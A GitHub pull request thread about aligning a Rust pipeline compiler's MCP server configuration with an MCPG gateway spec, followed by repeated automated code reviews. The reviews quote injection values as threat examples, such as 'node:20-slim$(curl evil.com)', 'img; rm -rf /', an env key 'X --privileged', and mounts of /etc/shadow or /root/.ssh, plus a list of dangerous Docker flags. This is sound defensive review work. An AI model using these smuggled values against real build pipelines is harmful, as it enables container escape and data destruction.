feat: align MCP config with MCPG spec — container/HTTP transport

[jamesadevine]

Summary

Aligns the compiler's MCP configuration with the MCPG Gateway Specification v1.13.0 and gh-aw's front matter format. The Azure DevOps MCP is now a first-class use case.

Problem

Our compiler generated command/args in the MCPG config JSON, but MCPG's JSON stdin format only supports container for stdio servers (spec §3.2.1). External MCPs never actually worked — the command field was silently rejected by MCPG.

Changes

Core compiler:

• types.rs: Replaced command with container, entrypoint, entrypoint-args, url, headers, mounts in McpOptions
• standalone.rs: Updated McpgServerConfig and generate_mcpg_config() to emit MCPG-native JSON (container/entrypointArgs for stdio, url/headers for HTTP)
• standalone.rs: Added generate_mcpg_docker_env() for env passthrough
• base.yml: Added {{ mcpg_docker_env }} template marker

Auth model:

• When permissions.read is configured, the compiler auto-maps SC_READ_TOKEN → AZURE_DEVOPS_EXT_PAT on the MCPG Docker container
• Users write env: { AZURE_DEVOPS_EXT_PAT: "" } in front matter — zero manual wiring
• Generic passthrough supported for any env var with "" value

Tests (all 651 pass):

• 4 new integration tests: ADO MCP fixture compilation, container config, HTTP config, env passthrough
• 8 new unit tests: container/HTTP/entrypoint/mounts/env generation, ADO token auto-mapping

New files:

• examples/azure-devops-mcp.md — Full reference example (ADO work item triage agent)
• tests/fixtures/azure-devops-mcp-agent.md — Integration test fixture

Example: Azure DevOps MCP Configuration

mcp-servers:
  azure-devops:
    container: "node:20-slim"
    entrypoint: "npx"
    entrypoint-args: ["-y", "@azure-devops/mcp", "myorg", "-d", "core", "work-items"]
    env:
      AZURE_DEVOPS_EXT_PAT: ""
    allowed:
      - core_list_projects
      - wit_get_work_item
permissions:
  read: my-read-arm-connection
network:
  allow:
    - "dev.azure.com"
    - "*.dev.azure.com"

[github-actions]

🔍 Rust PR Review

Summary: Good direction — the MCPG spec alignment is correct and needed. One security issue needs addressing before merge; one missing documentation item.

Findings

🔒 Security Concerns

• standalone.rs:601 — Unsanitized env var name injected into shell command

  env_flags.push(format!("-e {}", var_name));

  var_name comes directly from user-controlled front matter YAML keys and is embedded verbatim into the docker run command string in base.yml. A key like "MY_VAR --privileged" or "X -v /etc:/etc:rw" would inject arbitrary Docker flags into the generated pipeline (e.g. docker run ... -e MY_VAR --privileged ...), potentially giving the MCPG container escalated host access.

  Environment variable names must match [A-Za-z_][A-Za-z0-9_]*. Add a validation step — either at compile time with anyhow::bail! or by stripping/rejecting invalid names:

  fn is_valid_env_var_name(name: &str) -> bool {
      let mut chars = name.chars();
      chars.next().map_or(false, |c| c.is_ascii_alphabetic() || c == '_')
          && chars.all(|c| c.is_ascii_alphanumeric() || c == '_')
  }

  The auto-mapped AZURE_DEVOPS_EXT_PAT is a hardcoded string so it's safe — this only affects the passthrough loop over user-supplied keys.

⚠️ Suggestions

• standalone.rs / AGENTS.md — {{ mcpg_docker_env }} template marker is undocumented

  The new marker is referenced in base.yml (line 267) and handled in standalone.rs, but there's no entry for it in the AGENTS.md template markers section. Every other marker has a dedicated description block. This makes it harder for future contributors to understand the template contract. Should be a quick addition alongside the existing {{ mcpg_config }} entry.

• standalone.rs:519-555 — HTTP MCP server config sets env: None unconditionally

  The env field on McpgServerConfig for HTTP MCPs is hardcoded to None. If a user configures env: keys on an HTTP MCP entry, they'll be silently dropped. This is probably intentional (HTTP servers don't take process env), but it should either emit a warning at compile time or be documented as unsupported.

✅ What Looks Good

• The is_custom_mcp() refactor (container.is_some() || url.is_some()) is clean and onees.rs correctly delegates to it.
• seen HashSet deduplication in generate_mcpg_docker_env correctly prevents double-emitting AZURE_DEVOPS_EXT_PAT when a user also has it in their env: map.
• The entrypoint_args/args separation (container args vs Docker runtime args) matches the MCPG spec.
• Static env values are correctly excluded from -e passthrough flags and left in the JSON config — the split is sound.
• Test coverage for the new paths is solid (unit + integration fixture).

Generated by Rust PR Reviewer for issue #157 · ● 1.2M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Core refactoring is well-structured and mostly correct, but there is one reproducible runtime bug in the bash generation that would silently break MCPG startup whenever any env passthrough is configured.

---

Findings

🐛 Bugs / Logic Issues

• standalone.rs / base.yml — Broken docker run command when {{ mcpg_docker_env }} is non-empty

  The {{ mcpg_docker_env }} marker sits on its own line between the last -e flag and the image name:

  -e MCP_GATEWAY_API_KEY="$(MCP_GATEWAY_API_KEY)" \
  {{ mcpg_docker_env }}
  ghcr.io/github/gh-aw-mcpg:v{{ mcpg_version }} &

  generate_mcpg_docker_env formats its return value as:

  format!("\\\n            {}", env_flags.join(" \\\n            "))

  This produces a string that starts with \ and ends without a trailing \. After replace_with_indent processes this, the generated flags have no line continuation to the image name that follows. In bash, ghcr.io/... becomes a separate command rather than an argument to docker run — MCPG never starts, silently.

  The empty case is also broken: replace_with_indent leaves the 12-space indented prefix of the marker line behind (it only replaces the {{ ... }} text, not the whole line). The result is a whitespace-only line between the \ continuation and the image name, breaking the line continuation just the same.

  The simplest fix is to add a trailing \ to the non-empty output and ensure the marker line itself can be dropped when empty (e.g., by stripping the line in replace_with_indent when the replacement is empty, or by restructuring the template so the marker appears after the last -e flag with a \ already accounted for):

  // in generate_mcpg_docker_env, non-empty branch:
  format!("\\\n            {} \\", env_flags.join(" \\\n            "))
  //                                                                ^^^  add this

  The existing integration tests pass because they only check that the string -e AZURE_DEVOPS_EXT_PAT="$(SC_READ_TOKEN)" appears somewhere in the output, not that the docker run is syntactically valid.

• standalone.rs — Hard-coded indentation doubles up with replace_with_indent

  generate_mcpg_docker_env hard-codes 12 spaces inside the format string, but replace_with_indent also prepends the template's own indentation (12 spaces) to every continuation line. The generated flags will be indented 24 spaces instead of 12. Cosmetic in bash, but inconsistent with every other marker. Drop the hard-coded spaces and let replace_with_indent handle alignment:

  format!("\\\n{}", env_flags.join(" \\\n"))

🔒 Security Concerns

• types.rs / standalone.rs — No validation of mounts paths

  The mounts field (Vec<String>, format "source:dest:mode") is forwarded directly to MCPG with no sanitisation of the source path. A user could bind-mount /root/.ssh, /etc/shadow, or ADO agent credential directories into an MCP container. Since front matter is author-controlled this is lower-severity, but it's inconsistent with the project's stated security model of validating all front-matter values. Consider rejecting absolute source paths that reference sensitive prefixes (/etc, /root, /home, $(Agent.HomeDirectory)), or at minimum document the risk prominently in AGENTS.md.

⚠️ Suggestions

• standalone.rs:519 — HTTP MCP url is not URL-validated

  The user-supplied URL is forwarded verbatim to MCPG. A (redacted) scheme or an internal RFC-1918 address could redirect MCPG toward unintended targets. A lightweight url.starts_with("https://") || url.starts_with("(redacted) guard would match existing sanitization philosophy.

• standalone.rs — generate_mcpg_docker_env iterates disabled MCPs

  The enabled check (opts.enabled.unwrap_or(true)) already skips disabled MCPs when building the MCPG server list in generate_mcpg_config, but generate_mcpg_docker_env uses the same guard in a separate loop. This is correct but could quietly diverge if the enabled logic changes in one place and not the other. Pulling the "is this MCP active?" predicate into a shared helper (analogous to is_custom_mcp) would reduce that risk.

✅ What Looks Good

• The env-var-name regex guard (is_valid_env_var_name) is exactly right — prevents Docker flag injection via a crafted env: key like X --privileged.
• The seen HashSet correctly deduplicates the auto-mapped AZURE_DEVOPS_EXT_PAT vs a user-supplied passthrough for the same name, giving the explicit value form priority.
• McpgServerConfig now faithfully reflects the MCPG JSON spec (container/entrypoint/entrypointArgs), and #[serde(skip_serializing_if = "Option::is_none")] keeps the JSON clean.
• The is_custom_mcp helper update in common.rs is the right abstraction — onees.rs picks it up automatically without any separate change.
• Test coverage for the new paths is thorough; the test_mcpg_docker_env_passthrough test in particular exercises the auto-map and static-vs-passthrough distinction correctly.

Generated by Rust PR Reviewer for issue #157 · ● 1.1M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good overall — the core command→container/url migration is correct, the injection-prevention logic is solid, and test coverage is thorough. A few issues worth addressing before merge.

Findings

🐛 Bugs / Logic Issues

• src/compile/standalone.rs:652-677 — generate_mcpg_docker_env generates spurious -e flags for HTTP MCPs

  generate_mcpg_config already warns that env vars on HTTP MCPs "will be ignored", but generate_mcpg_docker_env still iterates all MCP configs unconditionally and generates -e VAR flags for any passthrough env var it finds — including from HTTP MCPs. These flags won't do anything useful (MCPG won't forward them to a child container that doesn't exist), but they silently contradict the earlier warning. Fix by skipping HTTP MCPs in generate_mcpg_docker_env:

  // Only container-based MCPs need env passthrough on the MCPG Docker run
  if opts.container.is_none() {
      continue;
  }

• src/compile/standalone.rs:526-560 — HTTP MCPs with container/entrypoint/mounts/entrypoint-args are silently discarded

  If a user accidentally sets both url: and container: on the same MCP entry, the container branch wins (it's checked first) and the URL is silently ignored. Conversely, if only url: is set but container: fields are also present, they're silently dropped. A short log::warn! for any non-applicable fields would save confusing debugging sessions.

🔒 Security Concerns

• src/compile/standalone.rs:594-608 — validate_mount_source warns but does not block

  Sensitive path detection (e.g. /etc, /root, /var/run/docker.sock) only emits a log::warn!. An agent author who passes a noisy log might miss this entirely, and the generated MCPG config will still contain the mount. Given that this compiler processes front matter from a git repository (which may be reviewed but not always by a security specialist), consider whether this should be an eprintln! warning to stderr (like workspace misconfigurations elsewhere in the codebase) or even a hard compile error for the docker socket specifically.

⚠️ Suggestions

• src/compile/standalone.rs:673 — Undocumented ${VAR} passthrough

  The code treats var_value.contains("${") as a passthrough trigger (generates -e VAR), but AGENTS.md only documents "" (empty string) for passthrough. The ${VAR} form implies MCPG resolves the value from its own environment, which is a different semantic. This should either be documented or removed to avoid confusion.

• src/compile/standalone.rs:688 — Hardcoded 12-space indentation

  The flags.join(" \\\n ") hardcodes the indentation relative to the docker run block in base.yml. A comment in the template tying the indentation to this constant would make future base.yml reformats less fragile. Low priority, but a // NOTE: indentation must match base.yml line NNN cross-reference would help.

✅ What Looks Good

• Env-name injection prevention (is_valid_env_var_name) is exactly the right defense and has good coverage — the "X --privileged" test case directly validates the threat model.
• safeoutputs name reservation is preserved correctly — the case-insensitive check still blocks both safeoutputs and SafeOutputs.
• seen dedup set prevents the same env var appearing as multiple -e flags when multiple MCP configs reference the same passthrough variable.
• replace_with_indent inline marker handling — the author correctly identified that indent detection returns "" for inline markers and compensates with explicit indentation in the format string. The logic is correct.
• Test coverage is comprehensive: 4 integration tests + 8 unit tests covering container, HTTP, entrypoint, mounts, env passthrough, injection rejection, and the reserved-name protection.

Generated by Rust PR Reviewer for issue #157 · ● 854.9K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid implementation with good test coverage — has a security gap in the args field and a couple of minor inconsistencies worth addressing before merge.

Findings

🔒 Security Concerns

• standalone.rs — args field bypasses mount validation: validate_mount_source correctly warns about dangerous paths in mounts:, but the args: field (Docker runtime arguments passed to MCPG for child containers) has zero validation. A user can trivially bypass mount validation with args: ["-v", "/etc:/etc:rw"] or args: ["--privileged"]. Since MCPG uses these to spawn child containers, this is a real privilege escalation vector. At minimum, scan args for -v/--volume, --privileged, --cap-add, and emit eprintln! warnings consistent with the mounts validation.

• standalone.rs — Static env/header values appear in plaintext in pipeline YAML: Non-empty env values (e.g., MY_SECRET: "actual-token") and HTTP MCP headers (e.g., Authorization: Bearer <token>) are serialized directly into the MCPG config JSON, which is embedded in the pipeline YAML in plaintext. Users may not realise their secrets end up in the checked-in pipeline file. A compile-time eprintln! warning when a non-empty env value or headers value is detected would match the caution shown elsewhere in the codebase and prevent accidental secret commits.

⚠️ Suggestions

• standalone.rs:630 — validate_mcp_url uses log::warn!, not eprintln!: All other user-facing compile-time warnings in standalone.rs and common.rs use eprintln! so they're visible by default. validate_mcp_url uses log::warn!, so a non-http(s) URL silently passes unless the user runs with --verbose. This should use eprintln! for consistency (same pattern as validate_mount_source on line 607).

✅ What Looks Good

• The env var name regex (is_valid_env_var_name) correctly prevents Docker flag injection — well tested with the --privileged injection case in test_is_valid_env_var_name.
• The safeoutputs name reservation guard (case-insensitive override prevention) was correctly carried over.
• Shell continuation handling in generate_mcpg_docker_env is correct — the empty-case "\\" preserves the docker run line continuation in base.yml line 266, and the marker's inline placement interacts correctly with replace_with_indent's indent-detection logic.
• env_flags.sort() gives deterministic output, which makes the compiled YAML stable across runs — good for check command diffs.
• Test coverage is comprehensive: 8 unit tests + 4 integration tests covering the key new paths.

Generated by Rust PR Reviewer for issue #157 · ● 1.4M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good overall — the MCPG spec alignment is correct and the new security validation helpers are a nice addition. A few issues worth addressing before merge.

Findings

🐛 Bugs / Logic Issues

• src/compile/standalone.rs — Dead code in SENSITIVE_MOUNT_PREFIXES: /var/run/docker.sock is listed in the array but is never reached, because validate_mount_source returns early when source_lower.contains("docker.sock"):

  const SENSITIVE_MOUNT_PREFIXES: &[&str] = &[
      "/etc",
      ...
      "/var/run/docker.sock",  // ← unreachable; docker.sock check returns early above
  ];

• validate_mount_source — prefix check without path separator: source_lower.starts_with("/etc") will warn for a hypothetical (but legal) path like /etc-configs. A tighter check would be source == "/etc" || source.starts_with("/etc/"). Same applies to /home, /root, /proc, /sys.

• validate_docker_args — space-separated dangerous flag bypass: DANGEROUS_DOCKER_ARGS entries like "--pid=host", "--network=host", "--ipc=host" only catch the =value form. A user can pass args: ["--pid", "host"] and the check is silently skipped. Since this is a warning-only path the blast radius is low, but worth fixing for correctness. --privileged and --cap-add (no value in the constant) handle both forms correctly today.

🔒 Security Concerns

• generate_mcpg_docker_env — token leakage on unrelated permissions.read configs: -e AZURE_DEVOPS_EXT_PAT="$(SC_READ_TOKEN)" is injected into the MCPG Docker container whenever permissions.read is set, regardless of whether any MCP actually requests the variable. If an agent configures permissions.read to grant the agent ADO API access but uses only non-ADO MCPs (e.g., a plain node:20-slim tool), the ADO token still ends up in the MCPG container's environment. Tightening the condition to only auto-map when at least one container MCP has AZURE_DEVOPS_EXT_PAT: "" would avoid unnecessary exposure. (Documented as intentional in AGENTS.md, flagging for a deliberate call.)

⚠️ Suggestions

• Hardcoded 12-space indentation in generate_mcpg_docker_env is fragile coupling with base.yml. The comment acknowledges it (NOTE: the 12-space indentation must match the docker run block in base.yml), but any future reformatting of the template will silently produce malformed bash. A constant or a unit test that compiles the full template and asserts the docker run line is syntactically valid bash would make this more resilient.

• Missing dedup edge-case test: The seen HashSet correctly prevents a double-entry for AZURE_DEVOPS_EXT_PAT when both permissions.read is set and the container MCP has AZURE_DEVOPS_EXT_PAT: "" in env. The existing test_mcpg_docker_env_passthrough doesn't cover this combination — the full-token form "$(SC_READ_TOKEN)" should win over the bare passthrough.

✅ What Looks Good

• The is_valid_env_var_name validator is correct and well-placed — it's the right defence against Docker flag injection via user-controlled front matter keys.
• env_flags.sort() after HashMap iteration makes the generated output deterministic.
• 1ES target changes are minimal and correct — the is_custom_mcp refactor removes the inline matches! in onees.rs cleanly.
• New integration test test_mcpg_docker_env_passthrough covers the main env-passthrough flow end-to-end.

Generated by Rust PR Reviewer for issue #157 · ● 1.2M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good with a few things worth addressing before merge — one notable inconsistency in warn_potential_secrets, a security gap on container image name validation, and a footgun in the renamed args field semantics.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/standalone.rs — warn_potential_secrets called with wrong headers arg for container MCPs

  // Line ~79 in the container branch:
  warn_potential_secrets(name, &opts.env, &HashMap::new());

  The third argument is a freshly-allocated empty map instead of &opts.headers. Container MCPs shouldn't have headers, but McpOptions already has a headers field that defaults to an empty HashMap. If a user sets both container: and headers: (perhaps by mistake), this silently skips the Authorization/Bearer secret-in-headers warning for them. Should be &opts.headers.

• src/compile/standalone.rs — args field semantics changed without a rename

  McpOptions.args previously meant "command arguments" (passed to the command executable). Now it means "Docker runtime arguments inserted before the image in docker run". These have very different security implications — args: ["--privileged"] silently enables privileged mode, while the old meaning was harmless.

  Since the front-matter key stayed args:, any user who migrates from command+args to container+entrypoint-args but forgets to rename args: → entrypoint-args: will silently inject Docker flags instead of getting a parse error. The validate_docker_args warning would fire at compile time, but only for the known flag list. A rename to docker-args: (or even just a clear deprecation warning if args is non-empty alongside entrypoint-args) would make this safer.

🔒 Security Concerns

• src/compile/standalone.rs — No validation of container image names

  User-controlled container: values (e.g. "node:20-slim$(curl evil.com)") are serialized into JSON without any content validation. serde_json safely escapes them in the JSON payload, so the threat depends entirely on how MCPG invokes Docker — if it shells out with the image name unquoted, injection is possible. Even if MCPG is safe today, a quick is_valid_image_name sanity-check (e.g., allow [a-zA-Z0-9./_:-]) would be a cheap defense-in-depth.

• src/compile/standalone.rs — DANGEROUS_DOCKER_FLAGS list is incomplete

  The list covers --privileged, --cap-add, etc. but is missing:

  • --user / -u — mapping to root or UID 0 bypasses many container hardening boundaries
  • --add-host — DNS spoofing of internal names
  • --entrypoint — full command override (relevant because the args: field is passed directly to MCPG's docker invocation)

  Since this list drives warnings (not hard rejections), expanding it is low-effort and improves the audit trail.

⚠️ Suggestions

• src/compile/standalone.rs — generate_mcpg_docker_env returns "\\" when empty

  The empty-path returns a lone \, producing:

  -e MCP_GATEWAY_API_KEY="..." \
              \
              ghcr.io/github/gh-aw-mcpg:vXXX &

  This is valid bash (lone \ continues the line) and replace_with_indent handles it correctly. Worth a brief inline comment explaining why the lone \ is the right choice here — it's non-obvious on first read and could look like a template-replacement bug to someone unfamiliar with the logic.

• src/compile/standalone.rs — validate_mount_source lowercases for comparison but warns with the original string

  The lowercased source is compared against SENSITIVE_MOUNT_PREFIXES (which are all lowercase literals). The original source is printed in the warning. This is correct, but the lowercasing means a path like /ETC/shadow would be caught by the /etc prefix check, which is the desired cross-platform behavior. A comment noting this intention would help.

✅ What Looks Good

• is_valid_env_var_name + injection test: Solid regex-free validation using is_ascii_alphabetic/is_ascii_alphanumeric. The test cases in test_generate_mcpg_docker_env_rejects_invalid_names cover the --privileged injection attempt explicitly — exactly the right thing to test.
• Dedup logic for AZURE_DEVOPS_EXT_PAT: The seen HashSet correctly prevents the auto-mapped ="$(SC_READ_TOKEN)" form and the generic -e AZURE_DEVOPS_EXT_PAT passthrough from both appearing. test_generate_mcpg_docker_env_dedup_auto_map_and_passthrough proves this.
• env_flags.sort(): Sorting produces deterministic output across pipeline recompilations — consistent with the fuzzy-schedule scatter approach elsewhere in the codebase.
• McpgServerConfig serde layout: rename_all = "camelCase" + rename = "type" produces entrypointArgs in JSON (matches MCPG spec) while keeping the Rust field entrypoint_args idiomatic.
• Test coverage breadth: 4 integration tests + 8 unit tests with good edge-case coverage (no-transport-skipped, HTTP vs container, dedup, invalid env var names). The unreplaced-marker assertion in test_fixture_azure_devops_mcp_compiled_output is a great regression guard.

Generated by Rust PR Reviewer for issue #157 · ● 1.6M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good overall — solid alignment with MCPG spec, well-tested, good security instincts in the validation layer. Two issues worth addressing before merge.

Findings

🔒 Security Concerns

• standalone.rs:617 + AGENTS.md — --network is listed in DANGEROUS_DOCKER_FLAGS (triggers a compile-time warning), but AGENTS.md documents args: ["--network", "host"] as the canonical example. This creates a confusing situation: users who follow the docs get a warning. More critically, --network host on an MCP container bypasses the AWF Squid proxy — MCP containers run on the host network (outside AWF), so this gives the container unfiltered internet access. The docs should explicitly call this out as a security trade-off and the example should either be removed or replaced with something less escape-prone.

🐛 Bugs / Logic Issues

• standalone.rs:798–822 — When a container MCP declares AZURE_DEVOPS_EXT_PAT: "" but permissions.read is not configured, the auto-map block is skipped (correctly), but the passthrough loop still emits bare -e AZURE_DEVOPS_EXT_PAT (since seen doesn't contain it). In a typical ADO pipeline run that variable is unset on the host, so the MCP gets an empty token and authentication silently fails. No warning is emitted. Suggest adding a diagnostic:

  if any_mcp_needs_ado_token
      && front_matter.permissions.as_ref().and_then(|p| p.read.as_ref()).is_none()
  {
      eprintln!(
          "Warning: one or more container MCPs request AZURE_DEVOPS_EXT_PAT passthrough \
          but permissions.read is not configured. The token will be empty at runtime. \
          Add `permissions: read: <service-connection>` to enable auto-mapping."
      );
  }

  There's also no test covering this case.

⚠️ Suggestions

• standalone.rs:611–624 — DANGEROUS_DOCKER_FLAGS includes --entrypoint. Since entrypoint is a first-class field in McpOptions, any user who sets both entrypoint: and args: ["--entrypoint", "..."] would get a redundant warning. The --entrypoint case in args is already handled implicitly by MCPG (the entrypoint field takes precedence), so the warning is technically harmless, but consider adding a note to the warning message to direct users to the entrypoint: field instead.

• standalone.rs validate_ functions* — All validation is warning-only with eprintln!. By design, but it means an adversarial YAML file with a container image name like img; rm -rf / would compile without error. The injection risk is low since the image name is JSON-serialised (not shell-interpolated directly), but it's worth a comment clarifying that MCPG is responsible for safe Docker invocation.

✅ What Looks Good

• The is_valid_env_var_name + seen dedup pattern for -e flag generation is clean and correct; injection via env key names is properly blocked.
• replace_with_indent + the "\\" empty-case sentinel work correctly — verified the template expansion produces valid bash line-continuation in both the zero-flag and multi-flag paths.
• Test coverage is thorough: the dedup, passthrough-vs-static, and injection-rejection unit tests are all present and meaningful.
• Using sort() on env_flags before emitting is a nice touch for stable, diffable output.

Generated by Rust PR Reviewer for issue #157 · ● 1.2M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good overall — the MCPG spec alignment is well-implemented and the security validation helpers are thorough. A few issues worth addressing before merge.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/standalone.rs — -v=value check is dead code
  In validate_docker_args, the pattern arg_lower.starts_with("-v=") never matches because Docker does not support -v=value syntax (only --volume=value and the split form -v value). The --volume= branch is correct; the -v= check is effectively unreachable:

  } else if arg_lower.starts_with("-v=") || arg_lower.starts_with("--volume=") {

  Low severity (it's a warning path), but it's dead code.

• src/compile/types.rs — args changed semantics silently
  Previously args: Vec<String> held command-line arguments passed to command: (e.g., args: ["server.js"]). Now it holds Docker runtime arguments inserted before the image in docker run (e.g., args: ["--env-file", "/path"]). Any existing front matter with args: paired with the old command: field would now have its values treated as Docker runtime flags. Since command: is silently dropped by serde (no deny_unknown_fields), the migration path is silent. While the PR description notes that command: MCPs were never functional, the semantic reuse of args for a completely different purpose without a rename (e.g., docker-args:) creates a confusing upgrade path.

🔒 Security Concerns

• src/compile/standalone.rs — Dangerous Docker flags warn but don't block compilation
  validate_docker_args correctly identifies --privileged, --cap-add, --network, --user, --pid, etc., but only emits eprintln! warnings. A compromised or malicious front matter file (e.g., via supply-chain attack on the agent markdown) could produce a pipeline that grants --privileged access to an MCP container. Given that this is a compile-time validation step, consider making at least --privileged and --cap-add=ALL hard compile errors (anyhow::bail!) rather than warnings. The other flags (e.g., --network) could remain as warnings.

⚠️ Suggestions

• src/compile/standalone.rs — Silent backward compatibility for command: field
  Old front matter with command: is silently ignored by serde (unknown field, no deny_unknown_fields on McpOptions), and the MCP ends up skipped with only a log::warn! (which goes to the log file, not stderr). Users won't understand why their MCPs disappeared. A one-liner in generate_mcpg_config that detects the parse-time omission isn't possible post-deserialization, but adding a doc comment or an eprintln! in the "no container or url" branch mentioning command: migration would help:

  log::warn!("MCP '{}' has no container or url — skipping. \
      If you were using 'command:', migrate to 'container:' + 'entrypoint:'.", name);

• src/compile/standalone.rs:generate_mcpg_docker_env — if let Some(_) = ... idiom
  The guard if let Some(_) = front_matter.permissions.as_ref().and_then(|p| p.read.as_ref()) can be simplified to .is_some() for clarity:

  if front_matter.permissions.as_ref().and_then(|p| p.read.as_ref()).is_some() {

✅ What Looks Good

• The is_valid_env_var_name regex + seen HashSet deduplication in generate_mcpg_docker_env are well-designed; the injection prevention test ("MY_VAR --privileged") is a good regression gate.
• validate_mount_source correctly handles the Docker socket case with an escalated warning, and avoids false positives on /etc-configs via the starts_with("/etc/") check.
• The ADO token auto-mapping design (only triggers when the MCP explicitly declares AZURE_DEVOPS_EXT_PAT: "") avoids forwarding credentials to MCPs that don't need them — good principle of least privilege.
• The bash line-continuation logic in the empty generate_mcpg_docker_env case (return "\\") is correct given how replace_with_indent processes single-line replacements.
• Test coverage is solid: 8 new unit tests + 4 integration tests including the marker-exhaustion check.

Generated by Rust PR Reviewer for issue #157 · ● 1.4M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good overall — well-structured migration with strong test coverage, but two issues worth a follow-up.

Findings

🐛 Bugs / Logic Issues

• standalone.rs — args field in McpgServerConfig may be silently ignored by MCPG

  The McpgServerConfig struct retains an args: Option<Vec<String>> field described as "Additional Docker runtime arguments (inserted before image in docker run)". But per the MCPG spec §4.1.2 referenced in the code, the container stdio server format defines container, entrypoint, entrypointArgs, and mounts — there's no args field. If MCPG uses strict deserialization, this field is a no-op; if lenient, it may simply be ignored. Either way, users who configure args: in their front matter expecting extra Docker runtime flags won't get the behaviour they expect, with no warning. Worth verifying against the actual MCPG implementation and either removing or documenting the field accordingly.

📝 Documentation Inaccuracies

• AGENTS.md — {{ mcpg_docker_env }} description is misleading

  The section states:

  "When permissions.read is configured, the compiler automatically adds -e AZURE_DEVOPS_EXT_PAT="$(SC_READ_TOKEN)" to forward the ADO access token to MCP containers that need it."

  The actual behaviour (confirmed by test_generate_mcpg_docker_env_permissions_read_no_mcp_request) is that the auto-mapping only fires when a container MCP also has AZURE_DEVOPS_EXT_PAT: "" in its env: block. A user who sets permissions.read on an existing pipeline without also adding the env entry will find their ADO token never reaches the MCP container, and there's no warning to explain why. The doc should say something like: "...when permissions.read is configured and a container MCP requests it via env: { AZURE_DEVOPS_EXT_PAT: "" }..."

✅ What Looks Good

• Security validation suite: validate_container_image, validate_mount_source, validate_docker_args, warn_potential_secrets, and is_valid_env_var_name together cover the main injection surfaces. The env-var name regex check preventing "X --privileged" Docker flag injection is particularly well done.
• Deduplication logic: The seen HashSet correctly ensures AZURE_DEVOPS_EXT_PAT appears exactly once (as the fully-qualified $(SC_READ_TOKEN) form, not as a bare passthrough) when both permissions.read is set and the MCP requests it. Covered by a dedicated test.
• Deterministic output: env_flags.sort() before emitting ensures compiled pipelines are stable across recompilations regardless of HashMap iteration order.
• Template substitution: The "\\" sentinel for the empty case integrates cleanly with replace_with_indent — the indented lone backslash is a valid bash line continuation that preserves the docker run command structure.
• Test coverage: 8 new unit tests + 4 integration tests cover container config, HTTP config, entrypoint/mounts, env passthrough, dedup, invalid names, and the full fixture round-trip. The no-unreplaced-markers assertion in test_fixture_azure_devops_mcp_compiled_output is especially valuable.

Generated by Rust PR Reviewer for issue #157 · ● 837.4K · ◷